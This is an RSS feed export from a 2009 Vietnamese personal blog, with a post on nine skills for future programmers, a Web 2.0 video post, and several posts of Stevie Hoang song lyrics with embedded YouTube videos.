<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:georss="http://www.georss.org/georss" xmlns:media="http://search.yahoo.com/mrss/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-4623594449992858463</atom:id><lastBuildDate>Mon, 09 Nov 2009 15:58:13 +0000</lastBuildDate><title>Music online - Learning English Online - Tips For Bloggers - IT Sharing</title><description>Music online - Learning English Online - Tips For Bloggers - IT Knowledges - Sharing - Neo Template</description><link>http://danglvh.blogspot.com/</link><managingEditor>noreply@blogger.com (DangLVH)</managingEditor><generator>Blogger</generator><openSearch:totalResults>189</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><media:thumbnail url="http://s.om.net/om/file/200609/rss_boite.png" /><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Technology/Tech News</media:category><itunes:owner><itunes:email>noreply@blogger.com</itunes:email></itunes:owner><itunes:explicit>no</itunes:explicit><itunes:image href="http://s.om.net/om/file/200609/rss_boite.png" /><itunes:subtitle>Music online - Learning English Online - Tips For Bloggers - IT Knowledges - Sharing - Neo Template</itunes:subtitle><itunes:category text="Technology"><itunes:category text="Tech News" /></itunes:category><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/WelcomeToDanglvhsBlog" type="application/rss+xml" /><feedburner:emailServiceId>WelcomeToDanglvhsBlog</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-3658165341047744593</guid><pubDate>Mon, 13 Apr 2009 09:51:00 +0000</pubDate><atom:updated>2009-04-13T16:52:37.829+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">IT News</category><title>9 kỹ năng cho lập trình viên tương lai</title><description>&lt;p&gt;&lt;strong&gt;1. Get one of top 3 (PHP, JAVA, .NET)&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Trừ khi thế giới sụp đổ, developers vẫn cần ít nhất 1 trong 3 programming language này mà theo ý kiến cá nhân thì hãy chọn 1 trong 2 cái đầu tiên. Điều quan trọng là không chỉ phải nắm cú pháp hay sử dụng ngôn ngữ đó đơn thuần, developer cần phải nắm được cách tương tác với các service cùng hay khác ngôn ngữ nữa.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;2. Rich Internet Applications&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;RIA đang phát triển mạnh với Adobe Flash, Flex/AIR và SilverLight, JavaFx. Tốc độ đường truyền ngày càng cao trong khi ứng dụng càng mang tính visualized càn dễ dùng và đáng tin cậy hơn. Đó là lý do nên nắm bắt một công cụ RIA kết hợp với HTML 5.0 dù version này có thể sẽ là Vista của internet - sẽ hoàn chỉnh vào 2020.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;3. Web development&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Không còn chối cãi gì nữa khi lịch sử lập trình 5 năm trước người ta cân nhắc về ứng dụng stand-alone, nhiều khi còn gọi là Windows Application và web application. Ngày nay, web application chiếm ưu thế tuyệt đối. Developer không thể không biết về web application development. Tuy nhiên, không biết các trường đại học ở VN giờ này đã đầu tư và có đủ khả năng truyền đạt công nghệ này cho SV hay chưa.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;4. Web services&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Các ứng dụng mỗi ngày lại ... xích lại gần nhau hơn theo tinh thần của Trịnh Công Sơn. Tận dụng những dịch vụ từ ebay, yahoo, google, Windows Live,... sẽ là một thế mạnh lớn.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;5 Soft skills&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Đây là điểm tử huyệt của đa số developers VN. Giao tiếp quá ngắn, luôn nghĩ người khác hiểu vấn đề cũng cách với mình hoặc luôn cho rằng mình đúng. E ngại tranh luận hoặc quá gay gắt. Thiếu kỹ năng tiếng Anh hoặc cho rằng mình đọc và viết tiếng Anh tốt trong khi trên thực tế, ít người nước ngoài nào đọc hiểu được thứ tiếng Anh "bác học" + "châu á" của họ.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;Hoàn toàn thiếu kiến thức kinh doanh và đưa 2 chữ "khách hàng" ra khỏi từ điển công việc. Khách hàng thậm chí trở thành kẻ thù số một, ngu muội và chỉ biết cậy có tiền để đòi hỏi mỗi khi project manager bắt đầu điệp khúc "đó là cái khách hàng muốn".&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;6. Agile process&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Xin hãy từ bỏ khái niệm phát triển ứng dụng waterfall ở trường đại học. Các ứng dụng ngày nay ở quy mô nhỏ và vừa chỉ cần y/c trên cửa số chat hay email để trở thành 1 function trong hệ thống. Mô hình hoá hệ thống, phát triển nhanh, hoàn thiện và sửa lỗi là cơ sở để project hoàn thành. Sẽ không ai biết phải làm việc với bạn thế nào nếu cứ ngồi chờ yêu cầu được viết thành tài liệu và đóng thành tập.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;7. Domain knowledge&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Đây chưa phải là một điểm mấu chốt cho VN developers nhưng sẽ là cần thíêt khi dần tiến lên 1 vị trí quản lý như project manager. Kiến thức về một lĩnh vực nào đó trong thực tế liên quan đến hệ thống đang xây dựng sẽ là vô cùng cần thiết. Nó cũng tương tự với việc đừng ngồi chờ requirment document/specification mà hãy nói, OK tôi biết quy trình của việc này là gì.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;8. Development "hygiene" - vệ sinh !&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Teamwork sẽ là điều tất yếu khiến người vệ sinh và có tổ chức được mọi người yêu quý hơn. Test process + bug tracker, coding convention + source control, diagram + documentation. Mọi thứ là cần thiết, không có hoặc không lý tưởng như trong trường đại học mà sẽ là cái mà cty bạn làm quen dùng.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;9. Mobile development&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;i-phone có nhiều khả năng thay thế chữ "điện thoại" giống như xerox thay cho máy photocopy. Nhiều khả năng mobile device 3 năm nữa sẽ mạnh hơn 1 chiếc laptop hiện nay. Kỹ thuật lập trình sẽ không phải là vấn đề đáng quan ngại nhưng một tư duy lập trình cho người dùng đang ... "bay", lái xe 1 tay, nhìn bằng 1 mắt, vừa làm việc vừa nghe nhạc,... sẽ là cái lập trình viên cần phải làm quen.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;Hưng Nguyễn - &lt;a href="http://www.cyvee.com/group/discussion/21759/ky-nang-cho-lap-trinh-vien-tuong-lai/?gid=98"&gt;Link&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3658165341047744593?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/eqng8nQH68w" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/eqng8nQH68w/9-ky-nang-cho-lap-trinh-vien-tuong-lai.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2009/04/9-ky-nang-cho-lap-trinh-vien-tuong-lai.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-2031476075101093647</guid><pubDate>Fri, 02 Jan 2009 09:49:00 +0000</pubDate><atom:updated>2009-01-02T17:03:16.793+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">web 2.0</category><category domain="http://www.blogger.com/atom/ns#">Lập Trình Web</category><category domain="http://www.blogger.com/atom/ns#">web</category><title>Web 2.0?</title><description>Web 2.0, có lẽ bạn cũng chẳng xa lạ gì với thuật ngữ trên, nhưng thật khó để hiểu và định nghĩa được nó. &lt;br /&gt;Mời bạn xem video dưới đây để có thể mường tượng thêm về web 2.0 một thuật ngữ mà không thể diễn tả hết bằng lời &lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/6gmP4nk0EOE&amp;amp;color1=0xb1b1b1&amp;amp;color2=0xcfcfcf&amp;amp;feature=player_embedded&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;embed src="http://www.youtube.com/v/6gmP4nk0EOE&amp;amp;color1=0xb1b1b1&amp;amp;color2=0xcfcfcf&amp;amp;feature=player_embedded&amp;amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2031476075101093647?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/ex3kmX2mnpQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/ex3kmX2mnpQ/web-20.html</link><author>noreply@blogger.com (DangLVH)</author><enclosure url="http://www.youtube.com/v/6gmP4nk0EOE&amp;amp;color1=0xb1b1b1&amp;amp;color2=0xcfcfcf&amp;amp;feature=player_embedded&amp;amp;fs=1" length="1083" type="application/x-shockwave-flash" /><media:content url="http://www.youtube.com/v/6gmP4nk0EOE&amp;amp;color1=0xb1b1b1&amp;amp;color2=0xcfcfcf&amp;amp;feature=player_embedded&amp;amp;fs=1" fileSize="1083" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>Web 2.0, có lẽ bạn cũng chẳng xa lạ gì với thuật ngữ trên, nhưng thật khó để hiểu và định nghĩa được nó. Mời bạn xem video dưới đây để có thể mường tượng thêm về web 2.0 một thuật ngữ mà không thể diễn tả hết bằng lời </itunes:subtitle><itunes:author>noreply@blogger.com (DangLVH)</itunes:author><itunes:summary>Web 2.0, có lẽ bạn cũng chẳng xa lạ gì với thuật ngữ trên, nhưng thật khó để hiểu và định nghĩa được nó. Mời bạn xem video dưới đây để có thể mường tượng thêm về web 2.0 một thuật ngữ mà không thể diễn tả hết bằng lời </itunes:summary><itunes:keywords>web 2.0, Lập Trình Web, web</itunes:keywords><feedburner:origLink>http://danglvh.blogspot.com/2009/01/web-20.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-8870281735462896069</guid><pubDate>Mon, 24 Nov 2008 15:59:00 +0000</pubDate><atom:updated>2008-11-24T23:01:05.275+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Music Collection</category><title>Listen To Your Man - STEVIE HOANG</title><description>&lt;center&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ERSuSp_TO9M&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ERSuSp_TO9M&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;Tell me why we gotta go through this again&lt;br /&gt;Well I guess that you've been talking to your friends&lt;br /&gt;Cause you're accusing me of things that I havent done&lt;br /&gt;What I was doing at the club was just having fun&lt;br /&gt;U said she saw me leave the spot with another one&lt;br /&gt;Now why would I do that&lt;br /&gt;&lt;br /&gt;Now she must have mistaken the time that she saw me leave&lt;br /&gt;Cause I was rolling with my boys so the dude she saw wasn't me&lt;br /&gt;You will believe what u want but it's plain to see&lt;br /&gt;That your friends just want to come between you and me&lt;br /&gt;Don't believe in what they say cause it's jealousy&lt;br /&gt;Girl can't u see that&lt;br /&gt;&lt;br /&gt;[Chorus:]&lt;br /&gt;Girl u should know by now I'm not that type of guy&lt;br /&gt;Cause I changed my ways when I found you&lt;br /&gt;Just put your trust in me don't let them tear us apart&lt;br /&gt;Girl u should know and understand&lt;br /&gt;Listen to your man&lt;br /&gt;&lt;br /&gt;Now we done made it this far your friend said we wouldn't last&lt;br /&gt;I used to roll with a black book but that was all in my past&lt;br /&gt;Now I've given up the game just to be with u&lt;br /&gt;Even my homies can't believe it but girl it's true&lt;br /&gt;Cause I finally found someone I can call my boo&lt;br /&gt;Girl u should know that&lt;br /&gt;&lt;br /&gt;Tell my why your heart is filled with so much doubt&lt;br /&gt;Can't believe that everytime I'm gone u think id be playing u out&lt;br /&gt;Don't be believeing all the things taht people say your the only girl I kick it with everyday&lt;br /&gt;Tell me why the hell would I throw it all away&lt;br /&gt;Why would I do that&lt;br /&gt;&lt;br /&gt;Please believe me when I say no one else can take your place&lt;br /&gt;Can't let the haters try and tear us apart&lt;br /&gt;Girl your the only one that holds my heart&lt;br /&gt;&lt;br /&gt;[Chorus: x2]&lt;br /&gt;Girl u should know by now I'm not that type of guy&lt;br /&gt;Cause I changed my ways when I found you&lt;br /&gt;Just put your trust in me don't let them tear us apart&lt;br /&gt;Girl u should know and understand&lt;br /&gt;Listen to your man&lt;br /&gt;&lt;br /&gt;I think I might be missing some things but it's all I can do &lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8870281735462896069?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/C-WCTs2N0A0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/C-WCTs2N0A0/listen-to-your-man-stevie-hoang.html</link><author>noreply@blogger.com (DangLVH)</author><enclosure url="http://www.youtube.com/v/ERSuSp_TO9M&amp;hl=en&amp;fs=1" length="1038" type="application/x-shockwave-flash" /><media:content url="http://www.youtube.com/v/ERSuSp_TO9M&amp;hl=en&amp;fs=1" fileSize="1038" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> Tell me why we gotta go through this again Well I guess that you've been talking to your friends Cause you're accusing me of things that I havent done What I was doing at the club was just having fun U said she saw me leave the spot with another one Now </itunes:subtitle><itunes:author>noreply@blogger.com (DangLVH)</itunes:author><itunes:summary> Tell me why we gotta go through this again Well I guess that you've been talking to your friends Cause you're accusing me of things that I havent done What I was doing at the club was just having fun U said she saw me leave the spot with another one Now why would I do that Now she must have mistaken the time that she saw me leave Cause I was rolling with my boys so the dude she saw wasn't me You will believe what u want but it's plain to see That your friends just want to come between you and me Don't believe in what they say cause it's jealousy Girl can't u see that [Chorus:] Girl u should know by now I'm not that type of guy Cause I changed my ways when I found you Just put your trust in me don't let them tear us apart Girl u should know and understand Listen to your man Now we done made it this far your friend said we wouldn't last I used to roll with a black book but that was all in my past Now I've given up the game just to be with u Even my homies can't believe it but girl it's true Cause I finally found someone I can call my boo Girl u should know that Tell my why your heart is filled with so much doubt Can't believe that everytime I'm gone u think id be playing u out Don't be believeing all the things taht people say your the only girl I kick it with everyday Tell me why the hell would I throw it all away Why would I do that Please believe me when I say no one else can take your place Can't let the haters try and tear us apart Girl your the only one that holds my heart [Chorus: x2] Girl u should know by now I'm not that type of guy Cause I changed my ways when I found you Just put your trust in me don't let them tear us apart Girl u should know and understand Listen to your man I think I might be missing some things but it's all I can do </itunes:summary><itunes:keywords>Music Collection</itunes:keywords><feedburner:origLink>http://danglvh.blogspot.com/2008/11/listen-to-your-man-stevie-hoang.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-7988492597410353450</guid><pubDate>Mon, 24 Nov 2008 15:55:00 +0000</pubDate><atom:updated>2008-11-24T22:57:11.524+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Music Collection</category><title>Addicted - STEVIE HOANG</title><description>&lt;center&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/6ApwZckbGsE&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/6ApwZckbGsE&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;Since you went away&lt;br /&gt;It's been&lt;br /&gt;One year two months&lt;br /&gt;But it just don't seem like yesterday&lt;br /&gt;We were, we were still together&lt;br /&gt;Time has passed and things have changed so&lt;br /&gt;Why do I feel this way&lt;br /&gt;Cause you're with somebody else&lt;br /&gt;And I'm with somebody else but&lt;br /&gt;&lt;br /&gt;Whenever I think about the love we had&lt;br /&gt;(It hurts so bad)&lt;br /&gt;Whenever I think about the love we made&lt;br /&gt;I said that I'd be strong&lt;br /&gt;Girl I really thought that I'd move on&lt;br /&gt;But still I find myself asking&lt;br /&gt;&lt;br /&gt;[Chorus:]&lt;br /&gt;Do you still think of me&lt;br /&gt;Like I think about you&lt;br /&gt;Do you still dream of me&lt;br /&gt;Cause I can't sleep without you&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same&lt;br /&gt;Your love has got me addicted&lt;br /&gt;&lt;br /&gt;Said I don't know&lt;br /&gt;{When I'm with a chick and we make love I call your name}&lt;br /&gt;Said I don't know&lt;br /&gt;{Wanna be with somebody else I push them away}&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same&lt;br /&gt;I know I gotta move on but&lt;br /&gt;I'm so addicted to you&lt;br /&gt;(You)&lt;br /&gt;&lt;br /&gt;It's been long enough&lt;br /&gt;Don't know&lt;br /&gt;Why I'm still holding on&lt;br /&gt;If I had a wish babe I would turn back the hands of time&lt;br /&gt;Cause you don't know what you've got until it's gone (until it's gone)&lt;br /&gt;That's the reason why I'm writing you this song&lt;br /&gt;&lt;br /&gt;Girl I'm slippin'&lt;br /&gt;And I don't know what to do&lt;br /&gt;Girl I admit it&lt;br /&gt;I'm sick over you&lt;br /&gt;Damn&lt;br /&gt;I realize my mistake&lt;br /&gt;My pride got in the way&lt;br /&gt;I shoulda begged you to stay&lt;br /&gt;&lt;br /&gt;[Chorus:]&lt;br /&gt;Do you still think of me&lt;br /&gt;Like I think about you&lt;br /&gt;Do you still dream of me&lt;br /&gt;Cause I can't sleep without you&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why should I feel the same&lt;br /&gt;Girl your love has got me addicted (Got me addicted)&lt;br /&gt;&lt;br /&gt;Said I don't know&lt;br /&gt;{When I'm with a chick and we make love I call your name}&lt;br /&gt;Said I don't know&lt;br /&gt;{Wanna be with somebody else I push them away}&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same&lt;br /&gt;I know I gotta move on but&lt;br /&gt;I'm so addicted to you&lt;br /&gt;&lt;br /&gt;If you ever lost someone you truly love&lt;br /&gt;Let me hear you say "yeah"&lt;br /&gt;(Yeah)&lt;br /&gt;Say "yeah"&lt;br /&gt;(yeah) Let me hear you say&lt;br /&gt;And if you ever lost someone you truly need&lt;br /&gt;Let me hear you say "yeah"&lt;br /&gt;(Yeah)&lt;br /&gt;Say "yeah"&lt;br /&gt;(Yeah)&lt;br /&gt;&lt;br /&gt;[Chorus:]&lt;br /&gt;Do you still think of me&lt;br /&gt;Like I think about you&lt;br /&gt;Do you still dream of me (yeah)&lt;br /&gt;Cause I can't sleep without you&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same (Why do I feel)&lt;br /&gt;Your love has got me addicted&lt;br /&gt;&lt;br /&gt;Said I don't know&lt;br /&gt;{When I'm with a chick and we make love I call your name}&lt;br /&gt;Said I don't know&lt;br /&gt;{Wanna be with somebody else I push them away}&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same&lt;br /&gt;I know I gotta move on but&lt;br /&gt;I'm so addicted to you&lt;br /&gt;&lt;br /&gt;Like I think about you&lt;br /&gt;Do you still dream of me&lt;br /&gt;Cause I can't sleep without you&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same&lt;br /&gt;Your love has got me addicted (it's got me addicted)&lt;br /&gt;&lt;br /&gt;Said I don't know&lt;br /&gt;When I'm with a chick and we make love I call your name&lt;br /&gt;Said I don't know&lt;br /&gt;Wanna be with somebody else I push them away (I just push them away)&lt;br /&gt;Tell me if time should make a change (Make a change)&lt;br /&gt;Then why do I feel the same (Feel the same)&lt;br /&gt;I know I gotta move on but&lt;br /&gt;I'm so addicted to you &lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7988492597410353450?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/hxelW32aL3s" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/hxelW32aL3s/addicted-stevie-hoang.html</link><author>noreply@blogger.com (DangLVH)</author><enclosure url="http://www.youtube.com/v/6ApwZckbGsE&amp;hl=en&amp;fs=1" length="1037" type="application/x-shockwave-flash" /><media:content url="http://www.youtube.com/v/6ApwZckbGsE&amp;hl=en&amp;fs=1" fileSize="1037" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> Since you went away It's been One year two months But it just don't seem like yesterday We were, we were still together Time has passed and things have changed so Why do I feel this way Cause you're with somebody else And I'm with somebody else but Whene</itunes:subtitle><itunes:author>noreply@blogger.com (DangLVH)</itunes:author><itunes:summary> Since you went away It's been One year two months But it just don't seem like yesterday We were, we were still together Time has passed and things have changed so Why do I feel this way Cause you're with somebody else And I'm with somebody else but Whenever I think about the love we had (It hurts so bad) Whenever I think about the love we made I said that I'd be strong Girl I really thought that I'd move on But still I find myself asking [Chorus:] Do you still think of me Like I think about you Do you still dream of me Cause I can't sleep without you Tell me if time should make a change Then why do I feel the same Your love has got me addicted Said I don't know {When I'm with a chick and we make love I call your name} Said I don't know {Wanna be with somebody else I push them away} Tell me if time should make a change Then why do I feel the same I know I gotta move on but I'm so addicted to you (You) It's been long enough Don't know Why I'm still holding on If I had a wish babe I would turn back the hands of time Cause you don't know what you've got until it's gone (until it's gone) That's the reason why I'm writing you this song Girl I'm slippin' And I don't know what to do Girl I admit it I'm sick over you Damn I realize my mistake My pride got in the way I shoulda begged you to stay [Chorus:] Do you still think of me Like I think about you Do you still dream of me Cause I can't sleep without you Tell me if time should make a change Then why should I feel the same Girl your love has got me addicted (Got me addicted) Said I don't know {When I'm with a chick and we make love I call your name} Said I don't know {Wanna be with somebody else I push them away} Tell me if time should make a change Then why do I feel the same I know I gotta move on but I'm so addicted to you If you ever lost someone you truly love Let me hear you say "yeah" (Yeah) Say "yeah" (yeah) Let me hear you say And if you ever lost someone you truly need Let me hear you say "yeah" (Yeah) Say "yeah" (Yeah) [Chorus:] Do you still think of me Like I think about you Do you still dream of me (yeah) Cause I can't sleep without you Tell me if time should make a change Then why do I feel the same (Why do I feel) Your love has got me addicted Said I don't know {When I'm with a chick and we make love I call your name} Said I don't know {Wanna be with somebody else I push them away} Tell me if time should make a change Then why do I feel the same I know I gotta move on but I'm so addicted to you Like I think about you Do you still dream of me Cause I can't sleep without you Tell me if time should make a change Then why do I feel the same Your love has got me addicted (it's got me addicted) Said I don't know When I'm with a chick and we make love I call your name Said I don't know Wanna be with somebody else I push them away (I just push them away) Tell me if time should make a change (Make a change) Then why do I feel the same (Feel the same) I know I gotta move on but I'm so addicted to you </itunes:summary><itunes:keywords>Music Collection</itunes:keywords><feedburner:origLink>http://danglvh.blogspot.com/2008/11/addicted-stevie-hoang.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-7470445391831557878</guid><pubDate>Mon, 24 Nov 2008 15:52:00 +0000</pubDate><atom:updated>2008-11-24T22:54:05.508+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Music Collection</category><title>Shawty- STEVIE HOANG</title><description>&lt;center&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/U876wFAA4PI&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/U876wFAA4PI&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;center&gt;This is for my shawtyyy... (yeah)&lt;br /&gt;This is for my shawtyyy... (yo stevie)&lt;br /&gt;&lt;br /&gt;[Chorus: x2]&lt;br /&gt;People always breaking up&lt;br /&gt;Falling in and out of love&lt;br /&gt;I just wanna' let u know&lt;br /&gt;Ama' never let u go&lt;br /&gt;- for the rest of my life, gonna' be by your side&lt;br /&gt;&lt;br /&gt;[Verse 1:]&lt;br /&gt;Sometimes she drives me crazy&lt;br /&gt;But I don't give a damn&lt;br /&gt;Every time I need my baby&lt;br /&gt;She'll always be around&lt;br /&gt;The only one that's been down with me, through all of this time&lt;br /&gt;My homies think I'm trippin'&lt;br /&gt;Tell me I'm wasting my time&lt;br /&gt;It's only cause' they can't&lt;br /&gt;Find a girl that's hot like mine&lt;br /&gt;There's no where else that I'd rather be, so ama' let the whole world know.&lt;br /&gt;&lt;br /&gt;[Pre-chorus:]&lt;br /&gt;Girl your, the only one for me&lt;br /&gt;The only sex I need&lt;br /&gt;No one else can make me feel, the way my baby does'&lt;br /&gt;That why...&lt;br /&gt;&lt;br /&gt;[Chorus: x2]&lt;br /&gt;People always breaking up&lt;br /&gt;Falling in and out of love&lt;br /&gt;I just wanna' let u know&lt;br /&gt;Ama' never let u go&lt;br /&gt;- for the rest of my life, gonna' be by your side&lt;br /&gt;&lt;br /&gt;[Verse 2:]&lt;br /&gt;Girl you don't have to worry when I'm all up in the club&lt;br /&gt;Cause' no one else will ever come between the two of us&lt;br /&gt;It's crazy how u got me hooked, babe&lt;br /&gt;I'm doing things I never do, babe&lt;br /&gt;And every time I close my eyes, I thank the lord (that I have u)&lt;br /&gt;You're everything a man could want&lt;br /&gt;For the rest of my life,&lt;br /&gt;And I'll put that on everything&lt;br /&gt;&lt;br /&gt;[Chorus: x2]&lt;br /&gt;People always breaking up&lt;br /&gt;Falling in and out of love&lt;br /&gt;I just wanna' let u know&lt;br /&gt;Ama' never let u go&lt;br /&gt;- for the rest of my life, gonna' be by your side&lt;br /&gt;&lt;br /&gt;This is for my shawtyyy, girl u got my back and baby I got yours (ohh baby)&lt;br /&gt;&lt;br /&gt;This is for my shawtyyy,&lt;br /&gt;I've seen a dime' or two, but they don't compare to you.&lt;br /&gt;&lt;br /&gt;This is for my shawtyyy,&lt;br /&gt;Girl u got my back and baby I got yours&lt;br /&gt;&lt;br /&gt;This is for my shawtyyy,&lt;br /&gt;I've seen a dime' or two, but they don't compare to you.&lt;br /&gt;&lt;br /&gt;[Chorus: x2]&lt;br /&gt;People always breaking up&lt;br /&gt;Falling in and out of love&lt;br /&gt;I just wanna' let u know&lt;br /&gt;Ama' never let u go&lt;br /&gt;- for the rest of my life, gonna' be by your side &lt;/center&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7470445391831557878?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/UhRcEjXtcYc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/UhRcEjXtcYc/shawty-stevie-hoang.html</link><author>noreply@blogger.com (DangLVH)</author><enclosure url="http://www.youtube.com/v/U876wFAA4PI&amp;hl=en&amp;fs=1" length="1027" type="application/x-shockwave-flash" /><media:content 